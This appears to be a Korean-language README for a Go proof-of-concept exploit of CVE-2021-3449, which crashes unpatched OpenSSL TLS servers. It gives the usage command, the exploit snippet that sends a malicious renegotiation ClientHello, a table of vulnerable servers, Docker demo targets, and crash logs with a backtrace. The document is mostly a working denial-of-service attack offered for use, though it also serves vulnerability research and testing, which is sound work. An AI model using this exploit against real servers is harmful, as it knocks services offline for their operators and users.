
CVE-2021-3449 OpenSSL 서비스 거부(DoS) 익스플로잇 👨🏻💻
사용법: go run . -host hostname:port
이 프로그램은 TLSv1.2 보안 재협상(secure renegotiation)을 허용하는 1.1.1k 미만 OpenSSL 서버에 영향을 주는 CVE-2021-3449의 개념 증명(PoC) 익스플로잇을 구현합니다.
TLSv1.2 서버에 연결한 후 즉시 RFC 5746 "보안 재협상(secure renegotiation)"을 시작합니다.
이 공격은 NULL 포인터 역참조를 유발하여 서버를 충돌시키는(서비스 거부, DoS)
악의적으로 조작된 ClientHello를 사용합니다.
이 문제는 2021년 3월 17일 Nokia가 OpenSSL에 보고했습니다. 수정 사항은 Nokia의 Peter Kästle과 Samuel Sapalski가 개발했습니다.
알려진 유일한 수정 방법은 libssl1.1을 업데이트하는 것입니다.
일부 애플리케이션은 기본적으로 TLS 재협상을 비활성화하는 강화된 TLS 구성을 사용하지만, 오래된 OpenSSL 버전을 실행 중이라면 여전히 이 버그의 영향을 받습니다.
main.go는 TLS 서버에 연결하여 재협상을 강제한 후 연결을 끊는 작은 스크립트입니다.
익스플로잇 코드는 Go 1.14.15 encoding/tls 패키지의 번들 버전에 주입되어 있습니다.
handshake_client.go:115에서 찾을 수 있습니다. 로직은 자명합니다.
// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
if c.handshakes == 0 {
println("sending initial ClientHello")
hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
} else {
// OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
// if the supported_signature_algorithms extension is omitted,
// but supported_signature_algorithms_cert is present.
println("sending malicious ClientHello")
hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
}
}
– @terorie
demo/ 디렉토리에는 다양한 애플리케이션에 취약한 OpenSSL 버전을 적용하기 위한 구성이 들어 있습니다.
테스트 설정:
요구 사항:
build-essential (Perl, GCC, Make)참고: 나열된 웹 서버는 OpenSSL 1.1.1k 이상에서 CVE-2021-3449에 취약하지 않습니다.
| 서버 | 배포판 | 버전 | 데모 | 결과 |
|---|---|---|---|---|
| OpenSSL s_server | - | 1.1.1j | make demo-openssl | 충돌 |
| Apache2 | Ubuntu 18.04 | 2.4.29 | make demo-apache2 | 부분 충돌 |
| HAProxy | Ubuntu 18.04 | 1.8.8 | make demo-haproxy | 충돌 |
| HAProxy | Ubuntu 20.04 | 2.0.13 | make demo-haproxy | 영향 없음 |
| lighttpd | Ubuntu 18.04 | 1.4.55 | make demo-lighttpd | 충돌 |
| lighttpd | Ubuntu 20.04 | 1.4.55 | make demo-lighttpd | 충돌 |
| lighttpd | Ubuntu 21.04 | 1.4.59 | make demo-lighttpd | 구성 옵션 사용 시 영향 없음 |
| NGINX | Ubuntu 18.04 | 1.14.0 | make demo-nginx | 부분 충돌 |
| NGINX | Ubuntu 20.04 | 1.18.0 | make demo-nginx | 영향 없음 |
| Node.js <=12 | Ubuntu 18.04 | 영향 없음 | ||
| Node.js >12 | Ubuntu 18.04 | ? | make demo-nodejs | 충돌 |
| Node.js >12 | Ubuntu 18.04 | 15.14.0 | make demo-nodejs | 영향 없음 |
모든 데모 리소스를 정리하려면 make clean을 실행하세요.
openssl s_server는 최소한의 TLS 서버 구현입니다.
make demo-openssl: 전체 실행 (포트 4433)make -C demo build-openssl: 대상 Docker 이미지 빌드make -C demo start-openssl: 포트 4433에서 대상 시작make -C demo stop-openssl: 대상 중지결과: 서버 전체 충돌.
로그
docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello
[[truncated]]
Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0 0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1 0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2 0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3 0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4 0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5 0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6 0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7 0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8 0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9 0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked
기본 구성의 Apache2 httpd 웹 서버는 취약합니다.
make demo-apache: 전체 실행 (포트 443)make -C demo build-apache: 대상 Docker 이미지 빌드make -C demo start-apache: 포트 443에서 대상 시작make -C demo stop-apache: 대상 중지기여해 주신 @binarytrails 님께 감사드립니다.
결과: 부분 중단. 메인 프로세스는 살아 있지만 워커 프로세스가 충돌했습니다.
로그
docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &
[[truncated]]